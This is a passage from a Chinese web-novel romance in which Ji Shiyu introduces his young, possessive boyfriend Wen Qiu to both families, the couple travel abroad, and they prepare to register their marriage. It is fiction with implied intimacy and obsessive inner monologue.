季茵是在父母的压迫下长大的,自幼听从父母的安排,季帆嵘没有给过她自由的选择。就如过年那阵子,季帆嵘想让她嫁给一个只知道吃喝玩乐泡吧的纨绔富二代,全然不顾她嫁过去会面临什么。 季茵今天着重提到了这件事。当时在饭桌上不了了之,回家后,季帆嵘让她主动联系那个富二代,还让她把人约出来一起吃顿饭。 季忱听着,不由攥紧了拳头,“姐,你怎么不告诉我?” “他不让我往外说,”季茵看向二老,“我爸说了,如果那件事被您二老知道了,他会直接背着你们,自作主张帮我和那个人定下婚事。” 季老爷子脸色难看。 季帆嵘不在老宅,没有人再给二老洗脑了。 老太太看过太多证据,心如刀绞,再心软也慢慢清醒了过来,如今听到这话,不由气道:“这孩子怎么就养成这样了!” 老爷子叹口气,浑浊的眼神看向始终沉默的季时昱,说:“我承认,这件事是我和你奶奶做错了,你别怪我们了。” 季时昱喝了口温水,并不理会。 季忱:“爷爷,在我爸被押走之前,您知道二十一年前的事吗?” 老爷子脸色微变。 季忱明白了,干笑两声,不吭声了。 屋里陷入了诡异的寂静。 过了好久,老爷子说:“是我糊涂了。” 对于二十一年前的事,季时昱早已不在乎老爷子信不信了。 一顿饭吃得谁也不高兴,老爷子了解季时昱的性格,表面不在意,实则这件事永远不可能再翻篇了。 当老爷子决定要保住季帆嵘的那天开始,爷孙俩的亲情出现了不可修复的裂痕。 老爷子心里有遗憾,想道歉却拉不下面子。 老太太何尝不知道季时昱的性格,整夜睡不着,想说几句软话,又不知该如何开口。 斟酌许久,老太太说道:“时昱,留下来住一晚再走吧。” “不了。”季时昱在二老露出失落的表情后,说:“家里有人等我。” 他不回去,闻湫会睡不着。 季忱惊讶抬头,“哥,你谈恋爱了?” 季时昱点头。 季忱难以置信。 季茵也觉得不可思议,虽然听说过很多传闻,但是季时昱一直否认,今天居然说了这样的话。 这件事好像冲散了家里的僵硬,每个人脸上皆露出了好奇的笑容。 林管家留意着大家的表情,不禁感动落泪,好久没看到季家这么其乐融融了。 老太太和老爷子对视一眼,前者笑着问:“哪家的孩子?我和你爷爷认识吗?” 季时昱:“你们都认识。” 这更是勾起了所有人的好奇心。 季忱:“谁啊谁啊?快跟我说说,我倒要看看到底是谁把你这么个没有感情的工作狂拿下了!” 季时昱扫视了一圈,淡定说:“是闻湫。” 此话一出,周围又安静了。 老爷子看到过闻湫对季时昱的关心,当时还疑惑呢,结果三两句被敷衍过去了,谁知这俩孩子现在真在一起了。 老太太回想起总来他们家过节的可怜孩子,神色诧异地点了点头。 “谁?!你说谁?!”季忱反应最大,猛地站起来,“闻湫?!是我认识的那个闻湫吗?!” 季茵见过闻湫,不过印象不太深,知道闻湫和季忱是朋友,看季忱这么大反应,疑惑道:“你这么激动干什么?” 季忱没回她的话,一脸紧张地看着季时昱,“哥,你快说啊,是我认识的闻湫吗?” 季时昱:“不然你以为呢。” “你居然和闻湫在一起了!”季忱脸上的表情称得上震惊,“我之前还问你是不是和他有什么,你否认干嘛?” 季时昱:“那时候确实没在一起。” 季忱:“你们在一起多久了?” 季时昱:“你话太多了。” 季忱:“你们谁追谁?谁先告白的?发展到哪一步了?他家里人知道他找了个大他这么多的对象吗?” 无论季忱问什么,季时昱都没有回答。 “好了,你问这么多干什么。”老太太拉着他坐下。 季忱恍惚道:“我以后怎么称呼闻湫啊?他比我还小了几个月呢。” 老爷子:“既然确定关系了,哪天带人回来吃顿饭,再抽时间去他们家拜访一下。” 季时昱应了声。 带人回来吃饭是肯定的,但是去闻家拜访的事有待考虑。自从那天晚上打电话闹僵以后,闻家没有再联系过他,岳裎同样没有传达过有关闻家的事,看样子是直接对闻家那边装糊涂了。 血缘关系很难断,何况闻湫的名字还在闻家的户口上。 下午。 季时昱回到别墅,在玄关处换完鞋,听见厨房里响起菜刀声,垂目看着鞋柜里共同属于他和闻湫的鞋子,心里多了分奇妙的满足感。 感情很不讲道理,完全控制不住。 他往厨房走,看着厨房里正在做饭的人,嘴角扬起微不可察的弧度。 不用控制感情,任由这份情意发展,好像真的不会走上原书的那条线。 算了,这样也挺好的。 闻湫察觉到背后的视线,转过头来,笑着问:“哥哥,你在看我吗?” 季时昱走过去,说:“过几天跟我回季家吃饭。” 闻湫呼吸微滞,心跳蓦然加速,“是要见家长吗?” 第44章 离他远点 好满足……好想吃掉…… 闻湫第一次去季家的那天, 就做好了见家长的准备,他一直在等这一天。 “带你回去跟爷爷奶奶吃个饭,至于我爸我妈……”季时昱顿住,蓦然想起还没有和爸妈说过恋爱的事, 之前对闫絮说过, 有了情况会第一时间告诉她。 “爸妈怎了?”闻湫叫得无比自然。 “他们不在国内, 不确定什么时候回来。”季时昱掏出手机,转身往客厅走。 闻湫跟了两步,“哥哥?” 季时昱:“我打个电话。” 闻湫停留在原地,回厨房接着做饭。 季时昱走到阳台, 拨出了闫絮的号码, 打电话前不确定能不能打通, 谁知这通电话接得很快。 “时昱, 你找我?” 季时昱嗯了声,几句话交代了目前的情况。 闫絮很惊喜, “有那孩子的照片吗, 给我看看。” 季时昱停顿少许,说:“没照片,不过你很早之前见过他。” “我见过?”闫絮迅速想了一圈, 猜不出是谁,问:“是谁啊?” 季时昱抿了抿唇,道:“他是十几年前在S市, 被我带回家的小男孩。” “啊?” 啪嗒—— 两道声音同时入耳。 季时昱耳边是闫絮惊奇的询问,随着另一道声音向后转身, 看见了穿着围裙的闻湫,表情愣怔又难以置信地望着他。 地上是打翻的木碗,里面的少许排骨汤洒落在地上, 好在量不多,容易清理。 闻湫眼眶逐渐泛红,眼里蓄着泪水,神情可怜委屈,像是被人欺负过。 手机话筒里,闫絮问了一堆问题,没有得到任何回应,疑惑道:“喂?时昱?听得到吗?你怎么不说话啊?” 季时昱眼睫微垂,“嗯,听得到,刚才有事。” 闫絮:“我打算和你爸五一前回去,你和你爷爷奶奶商量一下日子,带那孩子回家吃顿饭,让我和你爸见见。” 季时昱应了声,默默听着闫絮的嘱托。 闻湫去拿了纸巾和湿巾,蹲下身擦着地上的汤,眼泪滴落在地上,和汤水融为一体。 电话挂断,季时昱走到闻湫身边蹲下,接过他手里的湿巾,帮着擦地上残留的油脂,擦干净地板,捡起木碗,牵着闻湫去沙发那儿坐着。 “又哭什么?” 闻湫紧紧搂着他,下巴抵着他的肩膀,“我都听到了,你还记得那年的事,对不对?” 季时昱抬手摸了摸闻湫的头发,轻轻嗯一声。 闻湫说话带了点鼻音,“你当初为什么说不记得?就算是后面记起来了,又为什么不告诉我?” 季时昱:“没找到机会说。” 闻湫侧头,舔了舔季时昱脖颈的嫩肉,好想在上面狠狠咬一口,留下永远都没办法消除的痕迹。 可是不敢动口,怕怀里的人疼。 他垂眸盯着那块皮肤,踌躇许久,齿尖叼着白皙的皮肉厮磨,在上面留下短时间内难以消散的齿痕才肯松口,接着如舔舐伤口一般轻轻舔了两口。 闻湫偏头,半张脸埋在季时昱肩膀上,闷声道:“我对你来说好像个陌生人,你总是这样什么都不说,我真的好没有安全感。” 季时昱眼神微闪,“确实还有件事想告诉你。” 关于在G市出差所听到的事,他一直在寻找机会说出来,迟迟找不到合适的时机,趁着今天把事情说清楚也好。 他推了闻湫一下,怀里的人反而搂得更紧。 “就这样说好不好。”闻湫不想松开手,这样抱着喜欢的人,勉强填补了心里不安的空缺。 季时昱轻声说:“我上次去G市出差,碰到了你高二时期的同学。” 闻湫神情凝固,四肢也僵住,下意识抱紧了些。 “你那晚给我打电话的时候,我在和季茵吃饭,当时喊了你的名字,被你同学听到了。”季时昱没有说太多细节,大致讲了那天的事情,还有从杨熙口中得知的真相。 怎么被欺负,又是怎么被人诬陷,到最后的不了了之。 闻湫不止一次要求家里人调查,没有一个人理会,那时候彻底看清了家人的冷漠,心脏抽痛的厉害。当年的记忆再次浮进脑海,他身体发抖,嘴唇微张,哽咽道:“哥哥,你相信我吗?” 季时昱感受到有眼泪滴在脖子上,顺着衣领滑进衣服中,回抱住闻湫,轻轻拍着他的后背,“你别哭,我信你。” “可是他们为什么不相信我?”闻湫低声喃喃,“发生了那样的事,连调查都懒得调查,直接认定是我的错,在他们心里,我就这么坏吗?” “你很好,是他们烂透了。”季时昱轻声哄人,语气柔情似水,眼底却冷如寒潭。 那样的家,不回也罢。 “哥哥,我好难受,你都不知道我那段时间是怎么过来的。” 高二那年的事是闻湫心里拔不掉的刺,没有人相信他,唯一可以作证的人也跑了,他想过报警,但是事发当天他就被关了起来。 从医院包扎完伤口便被管家接回去,他被关在一楼,不能玩手机不能看电视,有人准时送饭,房间外有人守着,窗户封死了出不去。闻家专门给他请了一对一的私教,在空闲时间允许他看一些对未来有帮助的书籍。 他被关了整整五个月,等他再出来时,所有和那件事有关的人全部消失了,他找人无果,和家里发生了剧烈的争吵,却被父母认定为有心理疾病,被迫看了心理医生。 父母没说错,他的确有心理疾病,全是被压迫出来的,直到现在都没有完全治愈。 闻湫不敢告诉季时昱,怕被嫌弃,更怕被抛弃,借着今天,他大胆说了出来。 他讲述完曾经的经历,后怕道:“哥哥,我会让你开心的,你不要讨厌我好不好,我不想看到你用失望的眼神看着我。” 季时昱心疼的厉害,双手捧住他的脸,亲吻他被眼泪浸湿的唇,温声说:“我不讨厌你,从来没有讨厌过。” 闻湫敛下微湿的睫毛,一抹暗光从眼底闪过,小声说:“可以再亲亲我吗?” 季时昱又给了他一个吻,无论闻湫现在说什么,都会比平时更加纵容。 季时昱很少主动亲人,每一次的主动都让闻湫深陷其中,想在唇瓣分离的那一瞬间扑上去狠狠撕咬,撕咬到血液冒出,饮下属于季时昱身体里的所有液体,想让那些血液和他的血肉相融,这样才能有效缓解内心的饥渴。 他又啃又咬不是学不会怎样亲吻,只是因为想要借着稀烂的吻技趁机啃破嘴唇,有几次多想再偏激一点,狠狠咬破脖颈,疯狂舔饮猩红的血液,这些想法临到最后,都被他强行按压下去。 闻湫舍不得让季时昱疼,所以每次控制着力度,靠着索取季时昱口中的津液来缓解焦渴。 就如这次,闻湫将季时昱压在沙发上疯狂亲吻,舌尖靠近他的眼尾,一点点舔吮着他因为生理反应刺激出的少许眼泪,餍足般眯起眸子,心中的不安再次被填满了。 唔……好满足……好想吃掉哥哥…… 他们在偌大的客厅,窗户开着通风,季时昱听不到闻湫阴暗的心声,也不知晓自己在闻湫眼里有多么诱人。 分开时,季时昱嘴唇红肿,声音微哑:“我饿了,吃饭吧。” 闻湫眼睛贼亮,乖乖点头:“嗯嗯,我也饿了。”想把哥哥当晚饭吃掉. 路边的绿化带枝繁叶茂,中午的烈日照得地面干燥不已,洒水车驶过,地面上的水很快被蒸发掉。 五一小长假即将来临,员工们盼啊盼,终于盼到了五一前的最后一天工作日。 季时昱这两天很忙,他尽量把所有的事在工作日解决完,前几天答应了闻湫五一出国旅游,不过在此之前要带闻湫回老宅吃顿饭。 闫絮原来打算五一前回来,后来不知怎么了,订了五一凌晨到A市的机票,带闻湫回家见家长的时间也变成了明天。 季时昱今晚有场推不掉的应酬,闻湫非要跟着去。 “我很快回来,你在家等我。”季时昱翻开关秘书刚才送进来的文件,看到其中一行字时,眉头皱起。 “真𝔀.𝓵的不可以跟着嘛?你是不是觉得我很碍眼?”闻湫坐在他面前,满脸伤心。 季时昱放下文件,“我没有说过这些话,你不要胡思乱。” “可是你皱眉了,你后悔和我在一起了是吗?还是说你早就受够我了?”闻湫委屈质问。 “我皱眉是因为工作的事,和你没关系。”季时昱见闻湫愁眉不展,无奈后退了一步,“行,你可以跟着,到时候别乱说话。” 闻湫点点脑袋,笑了:“我就知道你最好了。” 于是,傍晚应酬的饭局带上了闻湫,关秘书和季时昱隔了一个位置坐下,好像生怕和他离太近似的。 闻湫如常在季时昱身侧入座,坐下后安静吃饭,一句话都不曾说。 合作商是位三十岁左右的成熟男人,大背头黑色西装,五官俊朗,笑眯眯地跟季时昱商量着事情。 坐在他身边的助理看他酒杯里没酒了,非常自觉地给他添上。 关秘书看着对面上司和员工的相处,想起曾经的自己也坐到季总身旁,如今却要谨记保持距离。事情的变化还要从上次去别墅送文件那天说起,他回家后收到一条陌生号码发的短信。 【离他远点。】 短短四个字,没再发其他的,也没有恐吓的意思。 关秘书以为是谁发错了,便没当回事,后来连着三天收到同一条短信,他意识到不对,第四天上班刻意跟季总保持了距离,晚上没有收到任何短信,顿时猜出了前几天的短信来自谁。 他想去找季时昱说,又觉得这样告状不太好,后面干脆把这件事烂在肚子里,同时不忘和季总保持距离。不过他倒没有很郁闷,因为季总无意知道了这件事,给他涨了不少工资。 关秘书每想起这件事就神清气爽,只要涨工资,什么都好说。 晚上的饭局一结束,关秘书提议自己打车回去,路上顺便去商场给家里人买点东西。 赵屈作为司机,早就被闻湫找理由敷衍走了,晚上回去时,是闻湫亲自开的车。 季时昱喝了点酒,没有醉,坐在车里和季忱通着电话,脑中是闻湫酸里酸气的抱怨声,他被吵得有点头痛,打开车窗吹风清醒一下。 手机里,季忱说完最后一句话挂了电话。 他耳畔顿时清净,靠着车门眯了一会儿。 夜晚回到家,季时昱想尽快冲个澡去睡觉,在浴室冲到一半,他锁好的卫生间被人从外面打开了。 闻湫脱了衣服贴过来,细密的吻落在他后颈,手臂圈得很紧,根本不给他离开的机会。 季时昱关了淋雨,“怎么了?” “哥哥,你只看我好不好,不要看别人了。”闻湫抬起手搭在季时昱肩膀上,摸着昨晚上留下的痕迹,不满道:“你今天看了那个人好多次,你被他吸引了吗?” 季时昱怔了一会儿,皱眉道:“我只是觉得他的观点很有意思,你别瞎想。” 闻湫轻咬他的脖子,无理取闹起来:“他没有我好看还没有我年轻,你不要注意这样的人。” 【被观点吸引也不可以,那个老男人哪好了,我不够好看嘛,为什么不能只看我一个人,哥哥是不是看腻我了呜呜。】 季时昱捧着他的脸,轻轻亲吻了一下,“不要再乱想了,我们早点睡,明天和我回家见家长。” 闻湫听到见家长三个字,眨眨眼睛,不乱想了,耳尖爬上了一抹红。 【再优秀又怎么样,哥哥都要带我回家见家长了,好开心,哥哥果然最爱我了。】 季时昱对于他这种心态真是毫无办法,只能尽量哄着了。 明天要见家长,闻湫兴奋的一夜没睡着,碍于不能做什么,只好抓着季时昱的手帮忙解瘾。 次日。 季时昱开车带闻湫回了老宅。 季茵和季忱趁着五一约朋友出去玩了,老宅里就剩下他们一家人,二老都见过闻湫了,了解他的家庭,如今再见他并未多问什么,只是分别给了一个红包。 闫絮不是爱问家事的人,看到闻湫长这么好看,嘴边的笑意就没收起来过。 季任烽话少,又不管事,随意打量了闻湫两眼便不关心了。 闫絮很喜欢闻湫,越看越满意,笑着说道:“当年你那么小就被时昱带回去,我吓了一跳,还以为时昱偷偷拐了个孩子回家呢。” 这么多年过去,季时昱又把闻湫带回家了,带回了A市真正属于他的家,而不是S市暂时居住的地方。 闫絮感慨:“这就是缘分吧,太奇妙了。” 谁能想得到呢,季时昱无意捡回去的一个脏小孩,多年后会以男朋友的身份重新带回家。 一家人坐在一起聊着,闫絮疑惑怎么没有看到季帆嵘,按道理来说,季帆嵘肯定不会放过这种捣乱的机会。她在这个家向来直来直去,有话从不憋着,这次也直接问了出来。 老爷子笑意收敛,转头和老太太对视,气氛发生了微妙的变化。 闫絮弯唇笑道:“我说错话了吗?” 季任烽很少见到二老这么沉默,皱起眉,问道:“季帆嵘又惹事了?” 他们俩在国外待着,因为时差问题减少了和亲戚朋友的联系。再加上老爷子不想让这种丑事扩散,一来二去忘记把季帆嵘的事跟亲儿子说了。 外人只知晓季帆嵘是涉及金额犯罪进去的,全然不知道其他的脏事,暗中和人贩子做交易的事做过不止一次。 其中一个受害人当年年仅七岁,因为嘲笑季帆嵘是养子而被怀恨在心,季帆嵘没忍住对那孩子动了手,那孩子在人贩子车上出了场车祸,人贩子死了,孩子送进医院救了下来,但也失忆了。 警方前阵子查获他名下的流水情况,从一笔不起眼的交易中发现了这件事。 那家人早已搬离A市,警方电话通知过,对方确定季帆嵘不会有好结果才放心。 老爷子回想起那一页页的犯罪记录,叹口气,推了推老太太,“你来说。” 老太太不搭理他。 僵持了一会儿,最终是季时昱把季帆嵘的事说了出来,并没有隐瞒涉嫌拐卖的事。 季帆嵘的事上周有了结果,终身监禁,这辈子都出不来了。 闫絮若有所思地点头,眼底浮现出冷意。 这样不对劲的氛围维持到吃中午饭,落坐不久,季时昱手机响了,看到上面的来电人,大致说了一声,起身去外面接电话。 季任烽抱着缓解氛围的目的,看向闻湫,开口问道:“你家里有几口人?” 闻湫动作微顿,“算上我是五个。” 季任烽:“有弟弟妹妹?” 闻湫摇头:“是哥哥姐姐。” “嗯,你爸妈哪天有时间吗?”季任烽补充道:“既然你和时昱确定了,不如我们两家约个时间吃顿饭,商量一下你们订婚的事?” 闻湫低头不语。 老太太只知道闻湫和家里人的关系不好,不知道差到什么地步,便道:“是啊,约个时间吃顿饭,早点把事情定下。” 闻湫握着筷子,说:“他们没时间。” 季任烽:“怎么会没时间呢,当父母的最看重孩子的人生大事了,再忙也会抽出时间准备的。” 闻湫:“……就是没时间。” 闫絮看出了他的为难,正要说话,看见去外面接电话的儿子回来了。 季时昱察觉到饭桌上的不对劲,问:“怎么了?” 季任烽将刚才的话重复了一遍。 季时昱拉开椅子坐下,“这件事以后再说。” 季任烽再迟钝,也听出不对劲了,讪讪笑道:“你们年轻人的事,你们自己做决定就好。” 吃过饭,他们坐在沙发上聊着事情,基本是长辈在聊,季时昱和闻湫坐在一起,偶尔交头接耳说几句话。 这几天是假期,老太太想着季时昱不用上班,闻湫又不用上学,便想让他们在老宅住一晚。 季时昱摇头拒绝:“不了,明早要赶飞机。” 老宅离机场比较远,起晚了会赶不上,而且闻湫晚上太不老实了,就凭着这一点绝不能在老宅里住下。 老太太面露忧愁,点头:“行,哪天有时间回来陪我和你爷爷说说话。” “妈,我和阿絮这次回来不走了。”季任烽说道。 老太太惊愕,“不走了?” 季任烽:“想玩的都玩过了,在外面待久了没什么意思。” 闫絮点头。 老太太许久没有反应。 老爷子倒是笑了几声,“留在家里就对了,外面有什么好的。” 季任烽:“我和阿絮会住在老宅,往后多陪陪你们。” 闫絮微微皱眉,最终没说什么。 季时昱听长辈聊着,手指被捏了两下,他转过头,看见闻湫摆弄着他的手指,偶尔捏捏指尖,偶尔和他十指相扣,并不关心长辈在聊什么八卦。 夜晚起了阵冷风,吹走了白天留下的燥热,一辆车停在别墅前,下车的人还没有关上车门,就被另一个人压在车身上亲吻。 季时昱被黏着从门外亲到卧室,嘴唇发麻,微张着唇轻轻喘气。 他躺在柔软的床上,被压得难受,推了闻湫一下,喘着气说:“让我缓一会儿。” 缓一缓而已,不是不让亲,闻湫乖乖起身,扬起胳膊脱下上衣,紧贴着季时昱躺在另一侧,等他歇好了,将人搂在怀里接着亲。 每周三次,这是前几天商讨的结果,今晚不是他们约定好的时间。 闻湫特别馋,尝到一次就有了瘾,每天都想做,但他怕季时昱不高兴,只能搂着亲亲摸摸,勉强能知足。 第二天清晨。 季时昱和闻湫登上了飞往国外的航班。 第45章 正文完结 第45章 正文完结 你眼睛红了,是在…… 闻湫不像以前那样偷偷摸摸地跟着季时昱了, 更没有在暗处像个变态一样窥探。 他如今光明正大的黏着季时昱,走一步跟一步,若不是飞机上不允许,都想和季时昱共同坐在一个位置上。 他们下飞机直奔酒店休息了两个小时, 下午去了海边。 晚上疯狂了很久, 事后冲完澡, 两人共同躺在床上拥眠。 闻湫抓起季时昱的手放到嘴边又亲又舔,舔了两口无名指指根,觉得上面缺点什么。 【好想和哥哥订婚啊。】 【一定要见了家长才能订婚吗?】 季时昱困得头晕,没顾着他胡思乱想, 下意识转身背着他, 没过多久就睡着了。 闻湫想了一整夜关于订婚和结婚的事。 上午九点半。 季时昱刚睁开眼睛, 闻湫趴在他耳边说道:“哥哥, 我们回国后就领证,好不好?” 订婚要准备, 结婚更要仔细准备, 闻湫等不了那么久,不如提前把证领了。 季时昱还没完全睡醒,没回答闻湫的话, 闭上眼眯了一会儿,脑子里聒噪不停。 【哥哥为什么要装没听到?他不想和我领证?难道他不喜欢我?还是说,他只想和我谈恋爱, 没想过和我结婚过日子?他以前那些话都是在哄骗我吗?】 【他不想和我结婚,那想和谁结?我每天都盯着他的一举一动, 是谁趁我不注意吸引了他的注意力?】 闻湫越想越气,气得哭出了声。 季时昱转过身抱住他,声线有些哑, “你定个日子,我们去领证。” 闻湫止住了哭声,“真的吗?” 季时昱嗯了声。 闻湫心满意足地亲他一口,不再闹了。 季时昱眼皮子几乎撑不住,没多久又睡着了。 等他再醒来已然是中午十一点半了,回想着上午冲动答应的事情,叹了声气。 虽然没想过分开,但他不想闻湫那么早被困在婚姻里,年纪太小了,才19岁,况且这个年龄不能领证。 法律规定同性婚姻中,双方必须满20周岁才可以领证。 20岁…… 季时昱眼睫微动,突然意识到闻湫的生日快到了,到那天就20岁了,刚好是能领证的年纪。 这时,房门被推开。 闻湫见他醒了,笑道:“哥哥,我买了饭,快起来吃吧。” 季时昱想说,不如等毕业再说领证的事,回忆起闻湫哭泣的委屈模样,到了嘴边的话及时止住,点了点头,起身到卫生间洗漱一下,拖着沉重的双腿坐下吃饭。 闻湫跑到了一家很远的中餐店里打包了食物,不停帮他夹着菜,“我跟老板说了不放姜蒜,不知道味道如何,你先尝尝,如果不好吃我下次换一家买。” 从昨天中午到这里开始,他们换了两家中餐了。 季时昱挑食,但不至于一口吃不下去,问题是闻湫太了解他的口味了,尝一口就知道哪道菜不符合他的口味,不顾劝说非要把那家店划入黑名单,好在今天这家勉强对上了味儿。 吃到一半,闻湫说到了领证的事。 “我想好了,等我生日那天,我们睡醒就去领证好不好?”他兴奋喝了口冰水,压下心中的躁动。 季时昱轻轻颔首,夹了块肉送入口中。 他们吃过饭,下午去了附近有名的景区,两个人都不爱拍照,看过想看的风景就走,并不多留。 他们来的国家是一个不常听到名字的小国,按道理来说,在这里碰到熟人的可能性非常小,但是有些事就是很巧,季时昱在某个小众景点附近碰到了晋垣。 好长时间没有见,晋垣的气色不如之前那么难看,眉宇间积攒的郁气也消失不见,他瞥到季时昱和闻湫牵在一起的手,眼里闪过笑意。 “时昱,好久不见。”晋垣笑着打招呼。 季时昱嘴角微弯,“好久不见,你自己来这边玩儿?” 晋垣:“不是,带我妈来这里散心。” 季时昱:“最近生意怎么样?” “挺好的,”晋垣笑道:“你呢,过得如何?” 季时昱无声笑着,“也挺好的,日子比以前有乐趣了。” 闻湫见他们聊得很开心,嘴角抿紧,一抹烦闷的暴躁从眸底迅速闪过。 不多时,晋垣的母亲买完纪念品回来了,她见到季时昱在这里,无比惊讶:“时昱?你怎么在这儿啊?” 季时昱轻笑一声,抬了下跟闻湫牵在一起的手,“和男朋友来旅游。” 闻湫垂眸,心里的醋味儿淡了些。 “哎呦,你都谈男朋友了,小垣还整天嚷嚷着不结婚呢。”晋母笑了几声,提议道:“这么久不见,不如晚上一起吃顿饭吧。” 闻湫下意识握紧季时昱的手,后者摇头,说道:“不了,我们晚点有事,等哪天有机会再说吧。” 晋母本就是随便客气的提一声,点了点头:“行,你们玩吧,我和小垣去里面转转。” 晋垣对季时昱说:“走了,有事电话联系。” 季时昱应了声,站在原地看着母子俩越走越远,直到胳膊被拉了一下,才跟着闻湫往相对的方向走。 夜里。 闻湫缠着季时昱不放,问他和晋垣是什么关系,认识多久了,为什么见面要对晋垣笑,各种奇奇怪怪的问题从闻湫口中蹦了出来。 季时昱耐心回答,毫无一丝隐瞒。 闻湫不怎么满意,“你和岳裎也是发小,你都没对他这么笑过,为什么换成晋垣就笑那么好看。” “我和晋垣很久没见了,晋家之前出了事,他和他母亲过得很不好,那段时间差点没坚持下来,看到他如今过得不错,我为感到他高兴,没有别的意思。” 季时昱常被外人诟病冷情冷血,又不是真的冷血,他有感情的,不管是对待亲情、友情亦或是爱情。 闻湫从背后抱着他不松手,歪头亲了口他的脸,不太满足,将他转过来面对着自己,黏黏糊糊地亲了好几口,收着力度在红唇上咬一口,留下一点很浅牙印。 “你和他聊了好久,还对他笑,我快嫉妒死了。” 【好嫉妒好嫉妒好嫉妒好嫉妒……】 【快嫉妒疯了。】 “哥哥,今晚能不能多加两个小时,求求你了,补偿我吧。”闻湫说着,又要低头亲他。 他们昨晚才做过,季时昱身体有点不太舒适,偏头躲开湿乎乎的吻,眉头微拧,说:“你要是敢加,我现在就走,往后几天里别想看到我。” 闻湫蓦然抱紧他,“不加了不加了,哥哥不准离开我。” 【好坏,怎么能用这种话威胁我。】 【唉,好苦恼啊,谁让我离不开哥哥呢。】 季时昱揉着闻湫的头发,“你乖一点,我们回去就领证。” 闻湫眼睛发亮,乖巧点头,“我会乖的。” 季时昱晚上睡了个安稳觉。 他们没在外玩太久,赶在闻湫开学前回去了。 至于领证的日子,怎么着也要等到闻湫过了20岁的生日。不会等太久,不过几天罢了。 在这之前,闻湫需要回家拿户口本。 他为了能早日领证,难得主动联系了家里的人,打电话前做好了挨骂的准备,电话通了后,那边却响起了姐姐的声音。 “妈身体不舒服,你有什么事?” 闻湫站在院子里,说:“明天下午,我回家拿户口本,你帮我转告他们一声。” 闻姐姐声音疲惫:“拿户口本做什么?” 闻湫:“领证。” 那边安静了许久,换了一个人接电话,“既然想清楚了,就带他一起回来吧,坐下吃顿饭,走个形式让我们一见面。” 是他大哥的声音。 “嗯。” 闻湫听出了他们转变的态度,却没有问为什么,说完目的后便挂断电话。 S市。 闻大哥看着黑屏的手机,将手机递到对面,“挂了。” 电话开了免提,一家人全听到了。 殷女士接过手机,转身回屋休息,闻父见状,抬起脚步跟过去。 闻大哥皱眉,神情复杂地拿着车钥匙出门。 闻姐姐坐在原位没动。 她比闻湫大十岁,是家里的二女儿,因为差太多岁了,姐弟俩没有话题,相处犹如陌生人,她经常听爸妈说闻湫的坏话,说他有多坏、多暴力,见了人就打,还要冤枉别人欺负他。 她对这个弟弟没有好印象,能做到的就是不闻不问,她和大哥一起孤立这个不听话的孩子,这么多年都是这样过来的,如今却得知,这个曾被所有人孤立的弟弟,并不是大家认为的那样坏。 前段时间,她听爸妈说了那通电话的事,爸妈一改往日的冷漠,居然找人调查起这些年和闻湫有关的事。 当年的真相一点点水落石出,谁在其中扮演恶人,谁又是无辜的受害者,全部都调查清楚了。 原来她弟弟不是坏小孩,只是在被同龄人欺负后,鼓起勇气反抗罢了。 由于父母的疏忽,导致一个孩子受冤十几年,这么多年来被迫吞下所有委屈,连倾诉的对象都找不到。 闻姐姐想起爸妈别扭又难看的脸色,对明天的见面充满了忐忑。她了解父母,本就不喜欢闻湫,在了解完当年的真相后,顶多是放下多年来的偏见,不会道歉更不会认错,关系还是会这样僵持着. 季时昱和闻湫在下午五点半抵达了S市,闻家派了人来接机,他们坐车到了闻家,看见一男一女站在门前等待。 “那是我大哥和我姐姐。”闻湫低声说道。 季时昱通过相似的眉眼认出来了。 下车后,闻大哥没有吭声,闻姐姐笑着带他们往里面走。 进了屋,看见殷女士和闻父坐在沙发上,身穿正装,表情严肃。 季时昱对他们没有好印象,见了面只微微颔首,没有出声问好。 屋内弥漫着尴尬。 闻姐姐干笑道:“小湫,给爸妈介绍一下男朋友啊。” 闻湫今天要拿户口本离开,没像从前那样冷着脸,但也不像说那么多废话,直言道:“早就认识了,没有什么好介绍的。” 殷女士起身,往餐厅走:“吃饭吧。” 在场所有人都没有胃口,这顿饭就是在走形式。 闻父在这顿饭结束前,问:“确定要领证?” 闻湫警惕看着他,“当然确定,你又想怎么教育我。” 不是疑问,而是肯定,回到家挨训已然成为刻在骨子里的记忆。 殷女士:“你怎么和你爸说话的!” 闻湫讥讽:“这么多年不都这样吗,有什么稀奇的。” “我只是问问,你用得着这么激动?”闻父瞅着闻湫,下意识便想教训,“你这种臭脾气……” “行了,别说了。”闻姐姐打断了父亲,起身说:“我去给你拿。” 她认清了爸妈永远不可能爱弟弟的事实,既然这样,就没必要试图修复他们的关系了,彼此不见面或许还能早点放下恩怨。 饭桌上静了许久,直到闻姐姐把户口本递到闻湫面前。 “用完了找人给你们送回来。”闻湫接过,站起身对季时昱说,“哥哥,我们走。” 季时昱自始至终沉默,起身和他离开了闻家。 闻姐姐瞧着闻湫固执的身影,再回头看了眼愁白了几缕头发的母亲,鼻子一酸,想喊住闻湫,却不知该如何应对接下来的事。 直到前面那两道身影消失在门外,闻大哥出声说道:“就这样吧,闻家对不住他是事实,往后有季时昱护着他,没有人再敢欺负他了。” 闻父感觉心脏好像被针刺了一下,转头去看自己妻子,发现对方愁眉不展,鬓角的白发异常明显。 夜里刮起阵阵寒风,天阴了下来,好在播报的雨水迟迟没有下。 季时昱和闻湫去了十四年前的那栋楼区附近,周围的一切没有太大变化,幼儿园翻新了,对面的公园种植了新的绿化,原来的健身设施还在,那年的单人秋千拆了,换成了双人秋千。 现在是晚上,公园里有不少人在散步。 “哥哥,就是这里,”闻湫拉着季时昱走到秋千旁,“后来我每天放学都会坐在这里等你,可你消失了,我找不到你,接连半个月没有见到你的身影,我去你家找你,敲了好久的门没有人开,对面的邻居告诉我,你们搬走了。” 季时昱脑中浮现出幼时的闻湫固执敲门的画面,眼底泛起无数波澜,心酸难耐。 秋千没人玩,闻湫坐在上面晃了两下,而后停下来,脱下身上单薄的外套垫在旁边的位置上,“哥哥,你陪我荡秋千好不好?” 季时昱坐在外套上。 闻湫歪头靠着他肩膀,说:“哥哥,你会一直陪着我的,对不对?” 季时昱轻轻嗯一声。 闻湫弯起唇,闭眼吹着凉风,“好幸福啊,幸好我没有走上歪道,不然就见不到你了。” 季时昱扫了眼附近的路人,低头亲吻闻湫的眼皮。 闻湫心里发痒,抓着他的手指咬了两口,“你说,如果没有那个梦,我们还会再见面吗?” “会的。” 其实季时昱也不知道,可他就是毫不犹豫给出了这个答案。 他们俩坐在秋千上吹着风忆起往事,直到天上滴了雨,趁着没有下大,及时去附近的酒店开了间房。 闻湫是被拽着到酒店的,开房后还在不满:“为什么不去那套房子里?” 【那里有那么多美好的回忆,干嘛来酒店啊。】 